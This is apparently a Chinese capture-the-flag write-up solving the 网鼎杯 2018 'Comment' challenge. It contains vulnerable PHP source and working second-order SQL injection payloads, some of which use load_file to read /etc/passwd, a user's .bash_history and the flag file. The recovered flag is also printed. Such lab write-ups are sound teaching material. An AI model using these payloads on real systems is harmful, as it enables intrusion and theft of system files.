1、打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

2、那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户、密码给出了部分提示,但是最后三位密码需要爆破,结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

3、扫描到了.git文件,那就使用githack尝试获取下源码信息,但是显示得源码信息不全,需要恢复,(这里在网上找了下,一直恢复不成功,后面再看),结果如下:

githack下载下来的:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

完整得源码:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

4、先随便进行一个发帖,然后提交留言,回显了我们的留言信息,那也就确定了二次注入的回显数据的地方,结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

5、对获得的源代码进行分析,服务端在接受到我们的数据之后进行了转义处理(addslashes),但是数据在存到数据库中时还是存储的我们提交的数据,变化过程:'->\'->',结合代码:

$sql = "insert into board
            set category = '$category',  //category参数可控
                title = '$title',
                content = '$content'";

$sql = "select category from board where id='$bo_id'";   //直接取用我们可以控制的category参数

$sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
//content参数可控并且会展示其内容,调用了我们可控的category参数,所以这条sql语句中就有两个地方我们可以直接控制

我们留言的内容在(content):

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

 所以我们就需要把我们想看到的信息写入到content中,使其进行展示,加入我们想要获取database()的信息,那我们就应该形成:

$sql = "insert into comment
            set category = '$category',
                content = database(),
                bo_id = '$bo_id'";

这里很明显content参数的单引号去掉了,但是content参数有进行转义,所以导致这一情况的只能是category参数,这里想到了之前做过的一道题:https://www.cnblogs.com/upfine/p/16545379.html,通过转义符使&passwd=成为了搜索的用户名内容(见下图),那这里我们也可以采用这种方式,因此构造我们的category的payload:\,我们的content的payload:,content=database(),#。结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

6、在网上看到了另外一种方式,就是采用/**/来注释掉原来的content内容,其实两种方式原理差不多,一个是采用/**/注释掉content部分的内容,一个是采用\转移单引号,使content内容成为了category的写入内容(这里写入的是comment表,所以并不会影响原来从board获取的category值,写入之后语句中的category还是\,可以看上面图,在一个发帖中同时获取了user和database),网上category的payload:',content=database(),/*,content的payload:*/#。结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

7、然后就进获取表、列,具体的信息等,但是并没有获取flag,那就应该是存放在系统上的一个文件里了,读取下/etc/passwd,这里不要使用\转义,因为payload中存在单引号,使用这种方式时,导致payload语句中的单引号被转移,而无法执行;

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

所以这里我们就只能使用/**/注释掉content内容的方式了,category的payload:',content=(select(load_file('/etc/passwd'))),/*,content的payload:*/#,读取的/etc/passwd信息如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

8、www用户的目录是/home/www,读取一下.bash_history文件,查看下用户使用的命令,category的payload:',content=(select(load_file('/home/www/.bash_history'))),/*,content的payload:*/#,发现了.DS_Store文件,结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

.bash_history文件:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

9、那就读取下.DS_Store文件,category的payload:',content=(select(load_file('/home/www/.bash_history'))),/*,content的payload:*/#,结果如下(应该是没有读完):

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

10、那就使用hex编码读取一下,category的payload:',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*,content的payload:*/#,结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

返回内容如下:

进行16进制转换(https://www.toolscat.com/decode/hex),结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

最终成功得到flag文件:flag_8946e1ff1ee3e40f.php。

11、读取下flag文件,category的payload:',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*,content的payload:*/#,结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

返回信息如下:

3C3F7068700A0924666C61673D22666C61677B64363335303431392D326336372D343261392D386664352D3538663932653334363631647D223B0A3F3E0A

进行16进制转码,最终成功得到flag:flag{d6350419-2c67-42a9-8fd5-58f92e34661d},结果如下:

[网鼎杯 2018]Comment-1|SQL注入|二次注入-LMLPHP

08-25 09:26